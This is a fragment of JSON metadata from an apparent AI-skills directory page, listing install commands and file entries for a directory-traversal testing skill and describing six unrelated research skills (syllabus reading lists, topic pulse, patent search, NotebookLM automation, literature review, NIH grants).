performing-directory-traversal-testing",{"tool":57,"command":58},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill performing-directory-traversal-testing",{"tool":60,"command":61},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill performing-directory-traversal-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",true,[65,69,75],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",2138,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-directory-traversal-testing\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"scripts\u002Fagent.py","SCRIPT","脚本",8876,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-directory-traversal-testing\u002Fscripts\u002Fagent.py",[82,90,97,104,111,118],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]